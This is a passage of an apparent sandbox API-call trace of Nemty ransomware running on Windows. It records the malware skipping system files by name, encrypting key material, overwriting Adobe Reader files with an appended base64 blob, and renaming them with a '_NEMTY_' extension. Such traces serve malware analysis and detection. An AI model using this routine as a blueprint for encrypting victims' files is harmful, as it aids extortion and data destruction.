lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ITA", lpUsedDefaultChar=0x0) returned 11 [0170.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.885] Sleep (dwMilliseconds=0x5) [0170.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19823bd0, dwHighDateTime=0x1d561e8)) [0170.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19823bd0, dwHighDateTime=0x1d561e8)) [0170.896] GetLastError () returned 0x0 [0170.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.896] GetLastError () returned 0x0 [0170.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.896] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.896] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.896] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.896] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="oJNyP17sDV/CHsC76j4kovkgU9hnxQ5voUWuMhWCXnj8teHUgBNlrzkFmbsBHSi+\r\n4sC63ghVovXOaDlTr7JfkBf3sbW3blon9cVWgL7qOdb7ycPKq4iiZ8OXRHvrL6Lh\r\nFcSKaIYbCtN5uB6Nf20iDrLqxFQbkmBRbO1Jx8D4oZGvD9Lm3emgOOavwwMCHQ/3\r\n21kQGSdq3VZZrohXMickMsByF4tNYT2uueiLPZLT5R5rKQG7p0xrnNarTYORTYdX\r\nBDXZ3SV998gBf7z9q+Fx9r6UW7qys+se7h8oloqVmK5tpbp4brUt+ZHrdll5Ay9w\r\nmCq3WpqWFHKc+TjL5+Y0oQ==\r\n", pcchString=0x653e91c) returned 1 [0170.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.897] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.897] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.897] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.898] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.898] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.899] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.899] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.899] CloseHandle (hObject=0x254) returned 1 [0170.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.899] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ita._nemty_kgobjgd_")) returned 1 [0170.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.902] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.JPN", cAlternateFileName="")) returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2=".") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="..") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="...") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="windows") returned -1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="$RECYCLE.BIN") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="rsa") returned -1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="NTDETECT.COM") returned -1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="ntldr") returned -1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="MSDOS.SYS") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="IO.SYS") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="boot.ini") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="boot.ini") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="ntuser.dat") returned -1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="desktop.ini") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="CONFIG.SYS") returned 1 [0170.902] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="RECYCLER") returned -1 [0170.903] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="BOOTSECT.BAK") returned 1 [0170.903] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="bootmgr") returned 1 [0170.903] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="programdata") returned -1 [0170.903] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="appdata") returned 1 [0170.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.JPN", lpUsedDefaultChar=0x0) returned 11 [0170.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.JPN", lpUsedDefaultChar=0x0) returned 11 [0170.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.JPN", lpUsedDefaultChar=0x0) returned 11 [0170.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.JPN", lpUsedDefaultChar=0x0) returned 11 [0170.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.903] Sleep (dwMilliseconds=0x5) [0170.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19849d30, dwHighDateTime=0x1d561e8)) [0170.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19849d30, dwHighDateTime=0x1d561e8)) [0170.911] GetLastError () returned 0x0 [0170.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.911] GetLastError () returned 0x0 [0170.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.911] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.912] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.912] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.912] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="XcaWOPWB/5BItL6O03jq1YztklWc/agfWzSHIQTWzkEMCfFvCiCLHySbycmDFoNH\r\nqwsBd7exD2hOVa8lOFvqxHd6Jau8bfSzDfAjs6y+rP65AfptplS7iNMRm6kTz7z4\r\n3o4fbbgrRokDD3YeDRVXplO1STf7I73AsHpPXnQakkX03E5dFJSGWJj55arbq0JE\r\nSfqWqj9rCgHPVoKk/uG5rhWHVdPQWJ0MJkxp2gNEqW1vcPzGCUwAAEPKmDw6pNnk\r\nN60Tqiksh5NREgOHlYRdbnKcY2mTgDQqnnCkdXtpoEwa1kK0eyKOBnEzBsVyZkcl\r\ntfZzJIuZ8H82X46zrh1Hjw==\r\n", pcchString=0x653e91c) returned 1 [0170.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.912] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=6144) returned 1 [0170.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1800) returned 0x6352c48 [0170.912] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.912] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1800, lpOverlapped=0x0) returned 1 [0170.914] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.914] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1800, lpOverlapped=0x0) returned 1 [0170.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.914] SetFilePointer (in: hFile=0x254, lDistanceToMove=6144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1800 [0170.914] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.915] CloseHandle (hObject=0x254) returned 1 [0170.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.915] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.jpn._nemty_kgobjgd_")) returned 1 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.916] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.KOR", cAlternateFileName="")) returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2=".") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="..") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="...") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="windows") returned -1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="$RECYCLE.BIN") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="rsa") returned -1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="NTDETECT.COM") returned -1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="ntldr") returned -1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="MSDOS.SYS") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="IO.SYS") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="boot.ini") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="boot.ini") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="ntuser.dat") returned -1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="desktop.ini") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="CONFIG.SYS") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="RECYCLER") returned -1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="BOOTSECT.BAK") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="bootmgr") returned 1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="programdata") returned -1 [0170.916] lstrcmpiW (lpString1="nppdf32.KOR", lpString2="appdata") returned 1 [0170.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.KOR", lpUsedDefaultChar=0x0) returned 11 [0170.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.KOR", lpUsedDefaultChar=0x0) returned 11 [0170.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x0, 